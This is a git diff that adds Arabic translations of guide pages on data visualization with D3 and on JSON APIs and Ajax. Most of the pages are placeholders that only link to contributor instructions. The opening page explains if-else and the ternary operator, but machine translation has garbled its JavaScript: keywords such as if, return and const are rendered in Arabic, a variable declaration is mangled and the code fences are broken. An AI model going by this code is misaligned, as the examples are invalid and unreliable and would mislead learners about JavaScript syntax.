+ذكر نفسك مرة أخرى ما هي وظيفة رد الاتصال مع [هذا](https://codeburst.io/javascript-what-the-heck-is-a-callback-aba4da2deced)
+
+هناك طريقتان يمكنك من خلالهما إكمال هذا الجزء ، إما باستخدام المنطق أو المشغل الثلاثي إذا كان غير ذلك.
+
+**إذا كان آخر المنطق**
+
+مثال من [w3school](https://www.w3schools.com/js/js_if_else.asp)
+
+\`\` \`جافا سكريبت
+
+const const = 50؛
+
+إذا (مال <50) {
+
+عودة "أنا غني" ؛
+
+}
+
+else {
+
+العودة "أنا فقير" ؛
+
+}
+
+ `What you need to remember is the bracket that the if-else logic associate with, (argument) and {statement} 
+ 
+ **Try Yourself Now**  👩‍💻👨‍💻 
+ 
+ 
+ 
+ **Ternary operator** 
+ 
+ A more detailed explanation [here](https://codeburst.io/javascript-the-conditional-ternary-operator-explained-cac7218beeff). Ternary operator is a lot more concise and quicker to remember for a simple true or false statement. Read [this](https://www.thoughtco.com/javascript-by-example-use-of-the-ternary-operator-2037394) 
+` 
+
+جافا سكريبت
+
+شرط ؟ القيمة إذا كانت صحيحة: value if false
+
+ `For someone who still not sure here is a solution by using If-else statement 
+` 
+
+جافا سكريبت .style ("color"، (d) => { إذا ((د <20) { العودة "الحمراء" } else { العودة "الخضراء" } }) \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/change-the-color-of-an-svg-element/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/change-the-color-of-an-svg-element/index.md
new file mode 100644
index 0000000000..442d9ea9b8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/change-the-color-of-an-svg-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Change the Color of an SVG Element
+localeTitle: تغيير لون عنصر SVG
+---
+## تغيير لون عنصر SVG
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/change-the-color-of-an-svg-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/change-the-presentation-of-a-bar-chart/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/change-the-presentation-of-a-bar-chart/index.md
new file mode 100644
index 0000000000..83979e9602
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/change-the-presentation-of-a-bar-chart/index.md
@@ -0,0 +1,9 @@
+---
+title: Change the Presentation of a Bar Chart
+localeTitle: تغيير العرض التقديمي مخطط شريط
+---
+## تغيير العرض التقديمي مخطط شريط
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/change-the-presentation-of-a-bar-chart/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/create-a-bar-for-each-data-point-in-the-set/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/create-a-bar-for-each-data-point-in-the-set/index.md
new file mode 100644
index 0000000000..e591114c06
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/create-a-bar-for-each-data-point-in-the-set/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Bar for Each Data Point in the Set
+localeTitle: إنشاء شريط لكل نقطة بيانات في المجموعة
+---
+## إنشاء شريط لكل نقطة بيانات في المجموعة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/create-a-bar-for-each-data-point-in-the-set/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/create-a-linear-scale-with-d3/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/create-a-linear-scale-with-d3/index.md
new file mode 100644
index 0000000000..2f67269c19
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/create-a-linear-scale-with-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Linear Scale with D3
+localeTitle: إنشاء مقياس خطي مع D3
+---
+## إنشاء مقياس خطي مع D3
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/create-a-linear-scale-with-d3/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/create-a-scatterplot-with-svg-circles/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/create-a-scatterplot-with-svg-circles/index.md
new file mode 100644
index 0000000000..3ef2b3ed51
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/create-a-scatterplot-with-svg-circles/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Scatterplot with SVG Circles
+localeTitle: إنشاء Scatterplot مع دوائر SVG
+---
+## إنشاء Scatterplot مع دوائر SVG
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/create-a-scatterplot-with-svg-circles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/display-shapes-with-svg/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/display-shapes-with-svg/index.md
new file mode 100644
index 0000000000..88c4dddc3d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/display-shapes-with-svg/index.md
@@ -0,0 +1,9 @@
+---
+title: Display Shapes with SVG
+localeTitle: عرض الأشكال مع SVG
+---
+## عرض الأشكال مع SVG
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/display-shapes-with-svg/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/dynamically-change-the-height-of-each-bar/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/dynamically-change-the-height-of-each-bar/index.md
new file mode 100644
index 0000000000..14e82308f3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/dynamically-change-the-height-of-each-bar/index.md
@@ -0,0 +1,9 @@
+---
+title: Dynamically Change the Height of Each Bar
+localeTitle: ديناميكيا تغيير ارتفاع كل شريط
+---
+## ديناميكيا تغيير ارتفاع كل شريط
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/dynamically-change-the-height-of-each-bar/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/dynamically-set-the-coordinates-for-each-bar/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/dynamically-set-the-coordinates-for-each-bar/index.md
new file mode 100644
index 0000000000..1160f0a7c3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/dynamically-set-the-coordinates-for-each-bar/index.md
@@ -0,0 +1,9 @@
+---
+title: Dynamically Set the Coordinates for Each Bar
+localeTitle: ديناميكيا تعيين الاحداثيات لكل شريط
+---
+## ديناميكيا تعيين الاحداثيات لكل شريط
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/dynamically-set-the-coordinates-for-each-bar/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/index.md
new file mode 100644
index 0000000000..5af10839cb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Visualization with D3
+localeTitle: تصوير البيانات مع D3
+---
+## تصوير البيانات مع D3
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/invert-svg-elements/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/invert-svg-elements/index.md
new file mode 100644
index 0000000000..b06173858c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/invert-svg-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Invert SVG Elements
+localeTitle: عكس عناصر SVG
+---
+## عكس عناصر SVG
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/invert-svg-elements/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/learn-about-svg-in-d3/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/learn-about-svg-in-d3/index.md
new file mode 100644
index 0000000000..313dab68a7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/learn-about-svg-in-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn About SVG in D3
+localeTitle: تعرف على حول SVG في D3
+---
+## تعرف على حول SVG في D3
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/learn-about-svg-in-d3/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/select-a-group-of-elements-with-d3/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/select-a-group-of-elements-with-d3/index.md
new file mode 100644
index 0000000000..2a0bd86360
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/select-a-group-of-elements-with-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Select a Group of Elements with D3
+localeTitle: حدد مجموعة من العناصر باستخدام D3
+---
+## حدد مجموعة من العناصر باستخدام D3
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/select-a-group-of-elements-with-d3/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/set-a-domain-and-a-range-on-a-scale/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/set-a-domain-and-a-range-on-a-scale/index.md
new file mode 100644
index 0000000000..4272e44cf8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/set-a-domain-and-a-range-on-a-scale/index.md
@@ -0,0 +1,9 @@
+---
+title: Set a Domain and a Range on a Scale
+localeTitle: قم بتعيين نطاق و نطاق على مقياس
+---
+## قم بتعيين نطاق و نطاق على مقياس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/set-a-domain-and-a-range-on-a-scale/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/style-d3-labels/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/style-d3-labels/index.md
new file mode 100644
index 0000000000..1c1ec5aec2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/style-d3-labels/index.md
@@ -0,0 +1,9 @@
+---
+title: Style D3 Labels
+localeTitle: نمط D3 تسميات
+---
+## نمط D3 تسميات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/style-d3-labels/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/update-the-height-of-an-element-dynamically/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/update-the-height-of-an-element-dynamically/index.md
new file mode 100644
index 0000000000..6d30b09c6a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/update-the-height-of-an-element-dynamically/index.md
@@ -0,0 +1,9 @@
+---
+title: Update the Height of an Element Dynamically
+localeTitle: قم بتحديث ارتفاع العنصر بطريقة ديناميكية
+---
+## قم بتحديث ارتفاع العنصر بطريقة ديناميكية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/update-the-height-of-an-element-dynamically/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/use-a-pre-defined-scale-to-place-elements/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/use-a-pre-defined-scale-to-place-elements/index.md
new file mode 100644
index 0000000000..b4be865b1e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/use-a-pre-defined-scale-to-place-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a Pre-Defined Scale to Place Elements
+localeTitle: استخدم مقياس محدد مسبقا لوضع العناصر
+---
+## استخدم مقياس محدد مسبقا لوضع العناصر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/use-a-pre-defined-scale-to-place-elements/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/use-dynamic-scales/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/use-dynamic-scales/index.md
new file mode 100644
index 0000000000..0cf458a7ea
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/use-dynamic-scales/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Dynamic Scales
+localeTitle: استخدم المقاييس الديناميكية
+---
+## استخدم المقاييس الديناميكية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/use-dynamic-scales/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/use-the-d3.max-and-d3.min-functions-to-find-minimum-and-maximum-values-in-a-dataset/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/use-the-d3.max-and-d3.min-functions-to-find-minimum-and-maximum-values-in-a-dataset/index.md
new file mode 100644
index 0000000000..703873ef9f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/use-the-d3.max-and-d3.min-functions-to-find-minimum-and-maximum-values-in-a-dataset/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the d3.max and d3.min Functions to Find Minimum and Maximum Values in a Dataset
+localeTitle: استخدم d3.max و d3.min دالات البحث عن الحد الأدنى والحد الأقصى للقيم في Dataset
+---
+## استخدم d3.max و d3.min دالات البحث عن الحد الأدنى والحد الأقصى للقيم في Dataset
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/use-the-d3.max-and-d3.min-functions-to-find-minimum-and-maximum-values-in-a-dataset/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/work-with-data-in-d3/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/work-with-data-in-d3/index.md
new file mode 100644
index 0000000000..3279a7edf1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/work-with-data-in-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Work with Data in D3
+localeTitle: العمل مع البيانات في D3
+---
+## العمل مع البيانات في D3
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/work-with-data-in-d3/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/work-with-dynamic-data-in-d3/index.md b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/work-with-dynamic-data-in-d3/index.md
new file mode 100644
index 0000000000..a6a534c9c9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/data-visualization-with-d3/work-with-dynamic-data-in-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Work with Dynamic Data in D3
+localeTitle: العمل مع البيانات الديناميكية في D3
+---
+## العمل مع البيانات الديناميكية في D3
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/work-with-dynamic-data-in-d3/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/index.md b/client/src/guide/arabic/certifications/data-visualization/index.md
new file mode 100644
index 0000000000..f046375b92
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Visualization
+localeTitle: عرض مرئي للمعلومات
+---
+## عرض مرئي للمعلومات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/access-the-json-data-from-an-api/index.md b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/access-the-json-data-from-an-api/index.md
new file mode 100644
index 0000000000..cccd75f370
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/access-the-json-data-from-an-api/index.md
@@ -0,0 +1,9 @@
+---
+title: Access the JSON Data from an API
+localeTitle: ادخل إلى JSON Data من واجهة برمجة التطبيقات
+---
+## ادخل إلى JSON Data من واجهة برمجة التطبيقات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/access-the-json-data-from-an-api/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/change-text-with-click-events/index.md b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/change-text-with-click-events/index.md
new file mode 100644
index 0000000000..1557a19e46
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/change-text-with-click-events/index.md
@@ -0,0 +1,9 @@
+---
+title: Change Text with click Events
+localeTitle: تغيير النص مع النقر فوق الأحداث
+---
+## تغيير النص مع النقر فوق الأحداث
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/change-text-with-click-events/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/convert-json-data-to-html/index.md b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/convert-json-data-to-html/index.md
new file mode 100644
index 0000000000..a12c0f45a0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/convert-json-data-to-html/index.md
@@ -0,0 +1,9 @@
+---
+title: Convert JSON Data to HTML
+localeTitle: تحويل JSON Data إلى HTML
+---
+## تحويل JSON Data إلى HTML
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/convert-json-data-to-html/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/get-geolocation-data-to-find-a-users-gps-coordinates/index.md b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/get-geolocation-data-to-find-a-users-gps-coordinates/index.md
new file mode 100644
index 0000000000..de669b57af
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/get-geolocation-data-to-find-a-users-gps-coordinates/index.md
@@ -0,0 +1,9 @@
+---
+title: Get Geolocation Data to Find A User's GPS Coordinates
+localeTitle: احصل على بيانات تحديد الموقع الجغرافي للعثور على إحداثيات نظام تحديد المواقع العالمي للمستخدم
+---
+## احصل على بيانات تحديد الموقع الجغرافي للعثور على إحداثيات نظام تحديد المواقع العالمي للمستخدم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/get-geolocation-data-to-find-a-users-gps-coordinates/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/get-json-with-the-javascript-xmlhttprequest-method/index.md b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/get-json-with-the-javascript-xmlhttprequest-method/index.md
new file mode 100644
index 0000000000..2d85e2c89f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/get-json-with-the-javascript-xmlhttprequest-method/index.md
@@ -0,0 +1,9 @@
+---
+title: Get JSON with the JavaScript XMLHttpRequest Method
+localeTitle: احصل على JSON باستخدام طريقة جافا سكريبت XMLHttpRequest
+---
+## احصل على JSON باستخدام طريقة جافا سكريبت XMLHttpRequest
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/get-json-with-the-javascript-xmlhttprequest-method/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/handle-click-events-with-javascript-using-the-onclick-property/index.md b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/handle-click-events-with-javascript-using-the-onclick-property/index.md
new file mode 100644
index 0000000000..b0556f8051
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/handle-click-events-with-javascript-using-the-onclick-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Handle Click Events with JavaScript using the onclick property
+localeTitle: Handle انقر على الأحداث باستخدام JavaScript باستخدام خاصية onclick
+---
+## Handle انقر على الأحداث باستخدام JavaScript باستخدام خاصية onclick
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/handle-click-events-with-javascript-using-the-onclick-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/index.md b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/index.md
new file mode 100644
index 0000000000..efd498b6fb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/index.md
@@ -0,0 +1,11 @@
+---
+title: JSON APIs and Ajax
+localeTitle: JSON APIs و Ajax
+---
+## JSON APIs و Ajax
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/post-data-with-the-javascript-xmlhttprequest-method/index.md b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/post-data-with-the-javascript-xmlhttprequest-method/index.md
new file mode 100644
index 0000000000..fbab8195a4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/post-data-with-the-javascript-xmlhttprequest-method/index.md
@@ -0,0 +1,9 @@
+---
+title: Post Data with the JavaScript XMLHttpRequest Method
+localeTitle: نشر البيانات باستخدام طريقة XMLHttpRequest في جافا سكريبت
+---
+## نشر البيانات باستخدام طريقة XMLHttpRequest في جافا سكريبت
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/post-data-with-the-javascript-xmlhttprequest-method/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/pre-filter-json-to-get-the-data-you-need/index.md b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/pre-filter-json-to-get-the-data-you-need/index.md
new file mode 100644
index 0000000000..b775ad2248
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/pre-filter-json-to-get-the-data-you-need/index.md
@@ -0,0 +1,9 @@
+---
+title: Pre-filter JSON to Get the Data You Need
+localeTitle: التصفية المسبقة JSON للحصول على البيانات التي تحتاجها
+---
+## التصفية المسبقة JSON للحصول على البيانات التي تحتاجها
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/pre-filter-json-to-get-the-data-you-need/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/render-images-from-data-sources/index.md b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/render-images-from-data-sources/index.md
new file mode 100644
index 0000000000..05b2444181
--- /dev/null
+++ b/client/src/guide/arabic/certifications/data-visualization/json-apis-and-ajax/render-images-from-data-sources/index.md
@@ -0,0 +1,9 @@
+---
+title: Render Images from Data Sources
+localeTitle: تقديم الصور من مصادر البيانات
+---
+## تقديم الصور من مصادر البيانات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/render-images-from-data-sources/index.md) .
+
